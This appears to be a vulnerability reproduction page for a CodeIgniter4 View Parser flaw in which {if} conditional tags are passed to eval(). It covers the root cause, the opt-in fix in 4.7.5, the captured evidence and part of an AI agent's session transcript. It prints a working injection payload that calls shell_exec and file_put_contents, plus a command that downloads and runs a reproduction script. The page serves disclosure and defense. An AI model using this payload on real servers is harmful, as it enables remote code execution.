Skip to content

GHSA-4Q58-JW8X-8CM7: Verified Reproduction

GHSA-4Q58-JW8X-8CM7: CodeIgniter4 View Parser conditional tags allow arbitrary PHP code execution in user-editable templates

GHSA-4Q58-JW8X-8CM7 is verified against codeigniter4/framework (Composer ecosystem) · composer. Affected versions: < 4.7.5. Fixed in 4.7.5. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00384.

REPRO-2026-00384 codeigniter4/framework (Composer ecosystem) · composer Oct 9, 2026 .txt
Severity
HIGH
Confidence
HIGH
Reproduced in
77m 41s
Tool calls
158
Spend
$5.62
01 · Overview

What Is GHSA-4Q58-JW8X-8CM7?

GHSA-4Q58-JW8X-8CM7 is a high-severity vulnerability affecting codeigniter4/framework (Composer ecosystem) < 4.7.5. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00384).

02 · Severity & CVSS

GHSA-4Q58-JW8X-8CM7 Severity

GHSA-4Q58-JW8X-8CM7 is rated high severity.

HIGH threat level
Weakness CWE-94 — Improper Control of Generation of Code ('Code Injection')

High — serious impact or readily exploitable. Prioritize remediation.

03 · Affected Versions

Affected codeigniter4/framework (Composer ecosystem) Versions

codeigniter4/framework (Composer ecosystem) · composer versions < 4.7.5 are affected.

How to Reproduce GHSA-4Q58-JW8X-8CM7

$ pruva-verify REPRO-2026-00384
or curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00384/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for GHSA-4Q58-JW8X-8CM7

Remote code execution — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

POST body parameter 'template' (user-editable template source) rendered via service('parser')->setData([...])->renderString($template)

Attack chain
  1. POST /render
  2. App\Controllers\TemplateRender::render
  3. CodeIgniter\View\Parser::renderString
  4. parseConditionals()
  5. eval() of attacker-controlled {if} condition
Runnable proof: reproduction_steps.sh
Captured evidence: fixed server
How the agent worked 361 events · 158 tool calls · 1h 17m
1h 17mDuration
158Tool calls
77Reasoning steps
361Events
9Dead-ends
Agent activity over 1h 17m
Policy
1
Support
13
Repro
144
Judge
39
Variant
159
Verify
1
0:0077:00

Root Cause and Exploit Chain for GHSA-4Q58-JW8X-8CM7

Versions: < 4.7.5 (reproduced on v4.7.4, commit

CodeIgniter4's View Parser evaluates {if ...} / {elseif ...} conditional tags by splicing the unmodified tag expression into a PHP if (...): statement and running the resulting template through eval(). When an application renders user-editable template source (e.g. an online template editor) with Parser::render()/renderString(), any user who can edit the template can inject arbitrary PHP expressions into the conditional tag and achieve server-side arbitrary PHP code execution (CWE-94). Version 4.7.5 adds an opt-in restriction (Config\View::$restrictParserConditionals or the per-render restrictConditionals option) that tokenizes the condition and rejects anything beyond variables, literals, and comparison/logical operators.

  • Package/component: codeigniter4/framework, system/View/Parser.php (Parser::parseConditionals())
  • Affected versions: < 4.7.5 (reproduced on v4.7.4, commit 2bd0f01d2813f9ec06db42643ce39d9f5428bf6d); 4.7.5 remains exploitable unless the application explicitly enables restrictParserConditionals / the restrictConditionals render option (confirmed at runtime).
  • Risk: High (CVSS 8.8). Remote, low-privilege attacker with template-edit capability gains full PHP code execution in the web server process: arbitrary command execution, file read/write, data theft, pivoting.

Impact Parity

  • Disclosed/claimed maximum impact: arbitrary PHP code execution (code injection, CWE-94) via View Parser conditional tags — code_execution.
  • Reproduced impact from this run: arbitrary PHP code execution through the real HTTP endpoint of a running CodeIgniter 4.7.4 application. The payload {if (file_put_contents(getenv('PRUVA_MARKER_DIR').'/vuln1.txt','...')!==false) && print(shell_exec('id'))}COND_BRANCH_OK{endif} wrote attacker-named marker files to disk and returned the output of shell_exec('id') (uid=1000(vscode) gid=1000(vscode) ...) in the HTTP response body.
  • Parity: full. No gap between claimed and demonstrated impact.

Root Cause

Parser::parseConditionals() (v4.7.4, system/View/Parser.php:455) extracts each {if CONDITION} tag with a regex and replaces it with <?php if (CONDITION): ?>, embedding the attacker-controlled CONDITION verbatim into PHP source. The whole template is then executed with eval('?>' . $template . '<?php ') after extract($this->tempData). The only sanitization applied beforehand is a str_replace of literal <? / ?>, which does nothing to stop code injected through the conditional expression itself. Because the condition is arbitrary PHP, expressions such as (file_put_contents(...)!==false) && print(shell_exec('id')) execute with the privileges of the PHP process.

Fix (v4.7.5): Parser::parseTemplate() computes $this->restrictConditionals = ... || (bool) ($options['restrictConditionals'] ?? $this->config->restrictParserConditionals) and parseConditionals() throws ViewException::forRestrictedConditional() when isRestrictedCondition() (a PhpToken::tokenize allow-list of variables, literals, arithmetic/comparison/logical operators, and grouping parentheses) rejects the expression. The restriction is opt-in (public bool $restrictParserConditionals = false; default), so upgrading alone does not close the hole — verified at runtime in this run.

Advisory: https://github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-4q58-jw8x-8cm7 Fix diff: git diff v4.7.4 v4.7.5 -- system/View/Parser.php app/Config/View.php

Reproduction Steps

  1. bundle/repro/reproduction_steps.sh (self-contained; run twice consecutively, both runs exit 0).
  2. The script:
    • installs PHP CLI + composer if missing;
    • checks out CodeIgniter4 v4.7.4 (vulnerable) into <project_cache_dir>/repo and v4.7.5 (fixed) into bundle/artifacts/ci475, verifying the patch hunk is absent/present;
    • composer install --no-dev in both apps;
    • injects a TemplateRender controller exposing POST /render, which passes the request's template body straight into service('parser')->setData([...])->renderString($template, $options) (with restrictConditionals=true when restrict=1);
    • serves both apps over HTTP with the PHP built-in web server (the exact command php spark serve execs), health-checks GET /;
    • sends the conditional-tag payload twice per scenario and asserts:
      • v4.7.4: marker file created with the unique token and uid= from shell_exec('id') present in the HTTP response (RCE confirmed);
      • v4.7.5 + restrict=1: no marker, no uid=, response is a 500 ViewException: The Parser conditional is not allowed in restricted mode;
      • v4.7.5 + restrict=0 (default): marker created, uid= present — advisory note "upgrading alone is insufficient" confirmed.
  3. Expected evidence: [+] vuln attempt N: arbitrary PHP executed, [+] fixed-restricted attempt N: payload neutralized, [+] fixed-unrestricted attempt N: still exploitable, final RESULT: CONFIRMED, exit code 0.

Evidence

  • Full run log: bundle/logs/reproduction_steps.log
  • Server logs: bundle/logs/vuln_server.log, bundle/logs/fixed_server.log (PHP built-in server request logs for both apps)
  • HTTP request/response captures: bundle/artifacts/http/ (e.g. vuln1_request.txt = payload, vuln1_response.txt contains uid=1000(vscode) gid=1000(vscode) groups=1000(vscode) + COND_BRANCH_OK; fixedr1_response.txt contains the ViewException restricted-mode message)
  • Marker files written by the eval'd payload: bundle/repro/markers/vuln1.txt, vuln2.txt, fixedu1.txt, fixedu2.txt (each contains the per-attempt unique token GHSA-4q58-jw8x-8cm7 arbitrary PHP executed token=...)
  • Runtime manifest with target identity and SHA-256 of every proof artifact: bundle/repro/runtime_manifest.json
  • Environment: Ubuntu 26.04, PHP 8.5.4 (cli, NTS), Composer 2.9.5, CodeIgniter v4.7.4 (2bd0f01d...) and v4.7.5 (36256090...), served via php -S localhost:8090/8091 with CI_ENVIRONMENT=production.

Recommendations / Next Steps

  • Upgrade to codeigniter4/framework >= 4.7.5 and set Config\View::$restrictParserConditionals = true (or pass ['restrictConditionals' => true] to every render()/renderString() call that processes less-trusted template source). Upgrading without enabling the restriction leaves the application exploitable.
  • Longer-term, the framework should consider making the restricted mode the default for renderString() of non-file templates.
  • Test recommendation: regression test asserting that a conditional tag containing a function call raises ViewException::forRestrictedConditional when restriction is enabled (this exact behavior was observed at runtime).

Additional Notes

  • Idempotency: the script is fully re-runnable. It reuses the prepared project cache checkout (/pruva/project-cache/repo) and composer vendor/ when present, kills stale php -S listeners on ports 8090/8091 before starting fresh servers, cleans the marker directory, and regenerates all HTTP captures, markers, and runtime_manifest.json with fresh per-attempt tokens on every run. Two consecutive clean runs passed (exit 0).
  • The reproduction uses the framework repository's own application skeleton (app/, public/, system/rewrite.php) served in production mode — no mocks, no sanitizer, no reimplementation of the vulnerable code.
  • Edge case noted: spark serve silently increments the port when the requested one is busy; the script therefore runs the underlying php -S command directly and pre-kills stale listeners so the healthcheck and exploit always target the intended instance.

GHSA-4Q58-JW8X-8CM7 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:003:34
0:00
session startedaccounts/fireworks/models/kimi-k3 · GHSA-4Q58-JW8X-8CM7 · REPRO-20
0:10
0:11
0:13
web search
0:27
0:30
web search
0:31
1:53
1:53
extract_facts
no facts extracted
1:56
1:56
supportclaim_contract
2:06
2:06
2:07
2:12
2:12
2:12
2:22
2:23
$ls -la /pruva/project-cache/ 2>/dev/null; ls /pruva/project-cache/repo-mirrors 2>/dev/null; cat /pruva/project-cache/.pruva/cache_manifest.json 2>/dev/null; echo "---"; php -v 2>&1 | head -3; composer --version 2>&1 | head -1; which curl git jq php composer 2>&1
0.4s✗
{"cwd":"/workspace","duration_ms":75,"exit_code":1,"stderr":"","stdout":"total 4\ndrwx------ 4 vscode vscode   80 Oct  9 16:32 .\ndrwxr-xr-x 3 root   root   4096 Oct  9 16:32 ..\ndrwx------ 2 vscode vscode   60 Oct  9 16:32 .pruva\ndrwx------ 2 vscode vscode   40 Oct  9 16:32 repo-mirrors\n{\n  \"schema_version\": 1,\n  \"entries\": [\n    {\n      \"path\": \"repo-mirrors\",\n      \"reuse_class\": \"repo\",\n      \"provenance\": \"run_generated\"\n    }\n  ]\n}---\npruva-command: 1: php: not ...
2:23
✗ error

Unknown error

3:06
3:07
$cat /etc/os-release | head -3; id; which sudo docker git; ls /pruva/project-cache/repo-mirrors/ -la; curl -sI https://github.com -o /dev/null -w "github:%{http_code}\n" --max-time 15; curl -sI https://repo.packagist.org -o /dev/null -w "packagist:%{http_code}\n" --max-time 15
1.1s✓
PRETTY_NAME="Ubuntu 26.04 LTS"
NAME="Ubuntu"
VERSION_ID="26.04"
uid=1000(vscode) gid=1000(vscode) groups=1000(vscode)
/usr/bin/sudo
/usr/bin/docker
/usr/local/bin/git
total 0
3:14
3:15
3:25
$git clone --mirror --filter=blob:none https://github.com/codeigniter4/CodeIgniter4.git /pruva/project-cache/repo-mirrors/codeigniter4.git 2>&1 | tail -3 && git -C /pruva/project-cache/repo-mirrors/codeigniter4.git tag -l 'v4.7.*' | sort -V | tail -5
10.6s✓
Cloning into bare repository '/pruva/project-cache/repo-mirrors/codeigniter4.git'...
v4.7.1
v4.7.2
v4.7.3
v4.7.4
v4.7.5
3:30
$git -C /pruva/project-cache/repo-mirrors/codeigniter4.git diff v4.7.4 v4.7.5 --stat | tail -20
1.8s✓
{"cwd":"/workspace","duration_ms":1365,"exit_code":0,"stderr":"","stdout":" .../codeigniter.modelArgumentType.neon             |    8 -\n utils/phpstan-baseline/empty.notAllowed.neon       |  323 --\n utils/phpstan-baseline/loader.neon                 |   19 +-\n .../method.alreadyNarrowedType.neon                |   88 -\n .../method.childParameterType.neon                 |   58 -\n utils/phpstan-baseline/method.notFound.neon        |  193 -\n .../missingType.iterableValue.neon                 | 5673 --------------------\n utils/phpstan-baseline/missingType.parameter.neon  |  158 -\n utils/phpstan-baseline/missingType.property.neon   |  238 -\n utils/phpstan-baseline/nullCoalesce.property.neon  |   38 -\n utils/phpstan-baseline/offsetAccess.notFound.neon  |    8 -\n utils/phpstan-baseline/property.nonObject.neon     |   48 -\n utils/phpstan-baseline/property.notFound.neon      |  123 -\n utils/phpstan-baseline/property.phpDocType.neon    |  207 +-\n utils/phpstan-baseline/return.type.neon            |   18 -\n utils/phpstan-baseline/staticMethod.notFound.neon  |   38 -\n .../phpstan-baseline/ternary.shortNotAllowed.neon  |  113 -\n utils/phpstan-baseline/varTag.type.neon         … [truncated]
3:34
$git -C /pruva/project-cache/repo-mirrors/codeigniter4.git diff v4.7.4 v4.7.5 -- system/View/Parser.php system/View/Plugins.php app/Config/View.php | head -250
0.4s✓
{"cwd":"/workspace","duration_ms":52,"exit_code":0,"stderr":"","stdout":"diff --git a/app/Config/View.php b/app/Config/View.php\nindex b52d980dc..427a22e56 100644\n--- a/app/Config/View.php\n+++ b/app/Config/View.php\n@@ -30,7 +30,7 @@ class View extends BaseView\n      *  { title|esc(js) }\n      *  { created_on|date(Y-m-d)|esc(attr) }\n      *\n-     * @var array<string, (callable(mixed): mixed)&string>\n+     * @var array<string, callable(mixed): mixed>\n      */\n     public $filters = [];\n \n@@ -43,6 +43,14 @@ class View extends BaseView\n      */\n     public $plugins = [];\n \n+    /**\n+     * When true, Parser conditionals may only contain variables, literals,\n+     * arithmetic, comparison and logical operators, and parentheses. Enable\n+     * this when less-trusted users can edit Parser templates. Can be overridden per\n+     * call with the `restrictConditionals` render option.\n+     */\n+    public bool $restrictParserConditionals = false;\n+\n     /**\n      * View Decorators are class methods that will be run in sequence to\n      * have a chance to alter the generated output just prior to caching\ndiff --git a/system/View/Parser.php b/system/View/Parser.php\nind… [truncated]
08 · How to Fix

How to Fix GHSA-4Q58-JW8X-8CM7

Upgrade codeigniter4/framework (Composer ecosystem) · composer to 4.7.5 or later.

Coming soon

Step-by-step mitigation and hardening guidance for GHSA-4Q58-JW8X-8CM7 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: GHSA-4Q58-JW8X-8CM7

Is GHSA-4Q58-JW8X-8CM7 exploitable?

Yes. Pruva independently reproduced GHSA-4Q58-JW8X-8CM7 in codeigniter4/framework (Composer ecosystem) and verified the exploit fires end-to-end in a sandboxed environment. A runnable proof-of-concept script and the full agent transcript are on this page (reproduction REPRO-2026-00384).

How severe is GHSA-4Q58-JW8X-8CM7?

GHSA-4Q58-JW8X-8CM7 is rated high severity.

What type of vulnerability is GHSA-4Q58-JW8X-8CM7?

GHSA-4Q58-JW8X-8CM7 is classified as CWE-94 (Improper Control of Generation of Code ('Code Injection')).

Which versions of codeigniter4/framework (Composer ecosystem) are affected by GHSA-4Q58-JW8X-8CM7?

codeigniter4/framework (Composer ecosystem) < 4.7.5 is affected by GHSA-4Q58-JW8X-8CM7.

Is there a fix for GHSA-4Q58-JW8X-8CM7?

Yes. GHSA-4Q58-JW8X-8CM7 is fixed in codeigniter4/framework (Composer ecosystem) 4.7.5. Upgrading to the fixed version remediates the issue.

How can I reproduce GHSA-4Q58-JW8X-8CM7?

Pruva provides a verified reproduction script on this page. Download it and run it inside an isolated environment such as a container or virtual machine — never against production. The reproduction was confirmed end-to-end by Pruva's automated agents.

Is the GHSA-4Q58-JW8X-8CM7 reproduction verified?

Yes. Pruva reproduced GHSA-4Q58-JW8X-8CM7 with high confidence in a sandboxed environment, capturing the full agent transcript and artifacts as evidence.
11 · References

References for GHSA-4Q58-JW8X-8CM7

Authoritative sources for GHSA-4Q58-JW8X-8CM7 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.